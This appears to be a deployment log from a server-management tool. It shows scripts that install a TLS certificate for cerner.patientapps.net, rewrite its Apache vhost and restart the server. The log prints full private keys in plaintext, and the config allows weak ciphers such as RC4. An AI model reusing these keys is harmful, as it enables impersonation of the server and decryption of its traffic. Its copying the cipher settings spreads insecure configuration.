AQQB1nkCBAIEgfUEgfIA8AB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJ
fc3wAAABmdHbHAsAAAQDAEcwRQIgP3FCcBYSolBv6jLRFV59Lq/p34YwEp/eodlR
f9DwDIYCIQC367qcifNBvsAqHEcTTkMZX42FFLCv5pf9Lr+rL1nWewB2ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmdHbHA8AAAQDAEcwRQIhAO2J
uUklsSORId1ULUksNseqhmydJ74dvSxCkr5/eibPAiAbBk75Gz7nRbTLaiRhwE4k
4F8pZVZIuhkIoAHQC1geujANBgkqhkiG9w0BAQsFAAOCAQEAAmlBemGvAvxzAJZR
+CGJfZB5LNqCwSwIKHCJhtOGvSJHFASjAWGpuPNHE9C3CQgFS9sg9OM2HTSNdJPu
xLnY3rumdJ3k/8HaEsokEjQHqxQ/yhBwb9EIrsZr9u0AriQ/uN4IagTVJKyAvnsD
joevkp9d75Xs3jDen7vgtHjaGzJ5suj6zDhkhxdE8YDrOOVA5ZJu05Bvtt4/4DeB
/oWgIP3+8BMiNFuPluxrzn84puw/tzGCMmOebAed3tEMK3JeHFfF9d8h35Whkubo
krxMzhUOaTW2SFJ5mwmHy30MxoFNobgKpzMadkIXeQ/jDEpG9rCr9JcP0A/6Nv5z
190dVg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDsCz2tJrgVCWp1
4v66aWQ4zgi3xgPBpMi22gCOcrZ3aK0U2OMcyGhyCwHExJoCCoLAwrNLsW/JmGgZ
ArjD3ICoFbDUf27Utee0Zgro0jRA2p5Q0iL2thsKlfxLK5Vf7AqVDUdcOimd5dfu
a2JELdb8IC93lqE5sebhCNOuJl4RlTzaxNW1GbnDdG0v46gBbFiZLpPMHw55Sz0l
i40ATuycqlIXbQ11FU/LyjTgh89mGSze0MTKelO8NNAZqqK5gIqOxXQSCLHmsDqt
zDgqKw0IygXmsoHUyLwHuNs+5RlB2rCeH/yfiagI8cqbIciTNtY8wLI9yMvWs92W
qpXt9H/7AgMBAAECggEBAIb9xsAHrK8bO28/6j3hmBeEfSfcbrmH6+Hmuvq8T+3q
R1Hs17XWRyUxdkl5xjn0mOJ0duWLDEtWhfIHxHL+3/VAsmhUmKW9gk2BLiwISynr
3S6LfsNpUf2z2R2ER2EcNNEZTv5HpRVQJTWM5B3puVFndr4Fvx6nx0pbKfQmrRWQ
EpMBke7tnLtsu4/CXZbu74yKCnKNZZFpu4hpS4W6xwPXSYLpUvRI7rwsnzcg3xv4
RI3m6D987NCX6F91FGG/fgMAV31BOBWszTkw2vzXIiJNFHSICK/2fmhafkmPkKAp
wjmcR3VG6S6FXNzmmOpQj6rqhvvViP1GMc5jFpGtKUECgYEA+V1gHc7P4n4bWFgY
FvFeM42RsFjr+oSVg1OsWITwglCn08hEaRcVs83w0FeJrVmKYAw9oDQIZpxHn7k0
WV2S/miF7XQM7RlXmuVIpQ9p2yg9E2fE7CtDGPnjl3ZZ+5rSPkvImRUEbWBjdBu1
TQL2YRoyxSRT5vISsLcevvrKeCcCgYEA8lMgYaubA74nCSxlWUONXN3Bx3ERzMPP
Q8cFC52yJlTDnjSVSS9qoiGd+SMVejV9QZskxxr46x6xL1fKktx5pwQ3le71csqU
qAxIpDktEOr+HszDT3JWtc3lLM5LqTYSGhsNqzitWOSsNEauZXtQSlN/wsNBK1zZ
PqfHCcoaKg0CgYB/hNqkI6B3aJm/Qb1/7gqIPnskPTTftXFn6SAXXFRJr8lDKgSh
4SY9/rCJOlqzhTiYCWpyRGmPX5fY/DLjCFElPHpQhaoejXkZQus1TX6Kjjc9dzFi
vHThjthuGh3F5tRg+wwoDHFpJYN2Wr0KFtu7qFQSMJOfZGdeayaT71gevQKBgHKO
hbJms+OzEzUs/cSTQNL0KtWkSGvq7aL3BRWWuU+RpuC1rxVoCxsWlV3gDhk2DD7l
nx9ZSu+sFMtyz1taS1B/l9+TlglsZ5aCKB0qwnlK/lOFLZfzT7am3X6vD+mwnCIn
Q/D73Ec344jbGTr0buKUUsO6FqbvP+x02I1yM6hJAoGAHqxbqKEiJibOdBwusvPU
u5+YNgExpu9DLfwb6EHjALE3rtV32LqVtqno+gOxO1h30oMERQHx2LdrJViedBOk
G94dydnV6CGSQReU29Y2tEij1zva1qI+CM0WEshgXyGV/sJLRnnzXcYmvPU4LeKD
559NVKCpPvHGKoyMPc5PIbk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-11 06:00:23: Establishing a connection
2025-10-11 06:00:23: Establishing a connection
2025-10-11 06:00:23: 

PUT: /tmp/pkp879690

#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-11 06:00:24: 

chmod 755 /tmp/pkp879690; /tmp/pkp879690; rm /tmp/pkp879690

2025-10-11 06:00:24: 


0


2025-10-11 06:00:49: Establishing a connection
2025-10-11 06:00:49: 

PUT: /tmp/pkp176998

#!/bin/bash
temp_file=$(mktemp)
TARGET=9165176ee0fe7a5f957c52572458ff70.crt

cat > $temp_file <<'endmsg'
1b:f2:77:39:b4:3f:67:f3:eb:29:eb:17:db:7a:8c:02

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBmZmHTZA86iTLqb3mqdQnW0iMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMjE4WhcNMjYwMTA5MDUwMjE3WjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEA0FeY936J7P9SiKbEdp+JiaR3F5c9Zn6zdNlZCDFy2InMo4jf9wK0
JJ4GDMeqj4y96Tt2xPADziFqcf8BcsKjUFIKV9RkOVRZ6Gj49Har/Lf9koRbaH2Z
+5IL2nrAGZYcT9rnUqhci1xKRZPXNPYzIamEQplYYTyDR8JOAc7tQ6TNJBTYavjl
KbSl44k0nXnhQYNZneu+3e63N/+BEy6hGatqN6YlI9HcaaVxjj3rtBvKg76Z44xR
udYbX/uXls8zUK3RaWCTxeuOtleeD/Jm4eqQIaFeKZ8c5tMi99MzchSCO48wQHLf
lghKsA4kccpFy3jW3IaLHBiquW/n90B4fwIDAQABo4ICJDCCAiAwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBQL+LnevTp5n1F36v5YMzQZKdh1IjAfBgNVHSMEGDAWgBQA
tSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCEGA1UdEQQaMBiCFmNlcm5lci5wYXRp
ZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8zNS5jcmwwggECBgorBgEEAdZ5AgQC
BIHzBIHwAO4AdQBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZnR
24N8AAAEAwBGMEQCIBq27AOnFIxQmltlOZELBpU4VjN/VnxmpejKkScv4kV5AiAC
XLKs6j1rqpxHW9QwcDrycsUbKXmmciRo6g+xwsTiKgB1ABmG1Mcoqm/+ugNveCpN
AZGqzi1yMQ+uzl1wQS0lTMfUAAABmdHbh0oAAAQDAEYwRAIgdlz/sGqPmuY920Oa
QZCg7hVzMjTdzv93kV3MY7XB89cCIDypINdLHStYyREySUTVboHr8v6AC6fEQ7Iy
aLh0/m3PMA0GCSqGSIb3DQEBCwUAA4IBAQBY9sAOoEQAOpnOTX4o/W5J4pfTXq+l
k4JZIii2ufUrfGdC3QgRrPtI7qnV+iCdAvK8Jm4+UXcN3prHsWY/z5hakJvqgr4i
UGP32eO1kwPMKm2Vvs9wFFldUdfXuvWt+Plir8dnkDo8M2L0FduLLEpjvI6Fudmk
MJBUQYt4aaBYPqREtkB229AELfJ9NP52F6Jr3ZzZw0R3AK0FWIDxO5U4PdhRXuyJ
UAkEIIDjdloqJDguFQ6D/R9/Zi8KiQSTZC/y0+p2OfDdjeMNMRK7lNi784ercLUD
iihMpwZMsPHSRM+7J5WyX/OlmDvnet4n7K57oSYSp5lqYZr0ZjR7LRNS
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDQV5j3fons/1KI
psR2n4mJpHcXlz1mfrN02VkIMXLYicyjiN/3ArQkngYMx6qPjL3pO3bE8APOIWpx
/wFywqNQUgpX1GQ5VFnoaPj0dqv8t/2ShFtofZn7kgvaesAZlhxP2udSqFyLXEpF
k9c09jMhqYRCmVhhPINHwk4Bzu1DpM0kFNhq+OUptKXjiTSdeeFBg1md677d7rc3
/4ETLqEZq2o3piUj0dxppXGOPeu0G8qDvpnjjFG51htf+5eWzzNQrdFpYJPF6462
V54P8mbh6pAhoV4pnxzm0yL30zNyFII7jzBAct+WCEqwDiRxykXLeNbchoscGKq5
b+f3QHh/AgMBAAECggEAIQ1Ukib8AKI82LsEPgFvU2vJDPAMaJ8/HxGAI2Gc46dw
1JzZUxmVtJ1xPkPK1j0wv7iUTgf5wpDgjzcyZp9kQ1DQnUBvqfysysckf7v36v7R
dpYS3k/WxudThBSnNyfuU+jZe+6DyAQbMFCU+qz4TaXT+rDTKZHtDcxQjc7jKzDH
jw4E+YcpMRmhpP8ylCRHZGyurlZASBs8HrAA+sfrnpc8XdCWCYy7lRB6RMCgOyKx
5PBcKxb2/MhlYPVeA6iJ4EYOe3triD6ggQ61dp+wRMDYxiou5rzv0SqrAjy2vi6/
sPd3Y69Wu3cbH2BWtqtkwpoX38enEfHdFbnj2B49mQKBgQDzHYOVb/KPEnYcq8lh
DtUPZKlefDIgNtdvUVrCmUXpxyiIB6fgWD6W+9h6AnXcPx7TIGqxRX0PcC0FNzy3
oeZFus+AAQh+ok5er2i2O6vXYfNpPUTP5jLNJ8SUiIvdP6op0GMI48KlGshoXO2Z
zpXDvOkwdUEifbQ9boQr3sQFWwKBgQDbYkvsisrICYiuPAmbFuh+bKUdKNe3wkLu
U4VoZrsIEkykKYTI9yNb1yJZfRWfIpQZNCUS9P+SkDHJYKUYg48XkkZz11g63nhb
yfzBVghK/T3najws7sAWkgKozsWAuPcXM1/A9BL6nZPIdZAHq5lG/NYoN14POXEV
B/kQ63+urQKBgQCa5NQAMwoMo8uC6uRsJUIUA6NxYpmhMq/B6ch0saj8kHo/aPlJ
k4+VLLI40jZ7c+/UvhOcDFTosCTO7OmPaeRHywUHXiEmZYyfAQ0rBguvN2YZSAL+
noEBevPhWroZ5cUpzO48LLjH7q9+5q4vT5LV2heMWzh7nDFo7m/hb5XefwKBgBIu
+4wHlPcvkxyd7U3lgC+6YZUhJYAdod6PHaehnC73FVMl/dOKaGvcUQSJ0Zj3DL9q
CwifNe+38+h1EjoN7XZOsXg4iR+YAPHatBBySQ2uH8tmisZOo607PO0w9j3NFu3d
XDpqAIi1NuKOm/mGx5WSr012CV3JrQ3JM2OroVGhAoGBALSKqVxRDws4NF8op7E4
SFeO9ln3bCjQV5at/WdHohDGghvm0Wk5KMzS5jmN727ovGZNMWcKMv/uYtEez5ON
jy/wfFFrG6vNQte+rtQVVkgwMt54AdQ5HbzczFtJ/L6BqgRldraBpbjQPRvO958Q
SB4FFZk1/DlOousvrF1es/IP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-11 06:00:49: 

chmod 755 /tmp/pkp176998; /tmp/pkp176998; rm /tmp/pkp176998

2025-10-11 06:00:49: 


dir=/etc/ssl/certs


2025-10-11 06:00:49: 

PUT: /tmp/pkp544952

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_cerner_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-11 06:00:49: 

chmod 755 /tmp/pkp544952; /tmp/pkp544952; rm /tmp/pkp544952

2025-10-11 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf 46

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-11 06:00:49: 

PUT: /tmp/pkp843031

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_cerner_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_cerner_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_cerner_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_cerner_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf= 1'
fi


2025-10-11 06:00:49: 

chmod 755 /tmp/pkp843031; /tmp/pkp843031; rm /tmp/pkp843031

2025-10-11 06:00:49: 




2025-10-11 06:00:49: 

PUT: /tmp/pkp227171

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-11 06:00:49: 

chmod 755 /tmp/pkp227171; /tmp/pkp227171; rm /tmp/pkp227171

2025-10-11 06:00:50: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-11 06:00:50: Establishing a connection
2025-10-11 06:00:50: 

PUT: /tmp/pkp705543

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-11 06:00:50: 

chmod 755 /tmp/pkp705543; /tmp/pkp705543; rm /tmp/pkp705543

2025-10-11 06:00:50: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
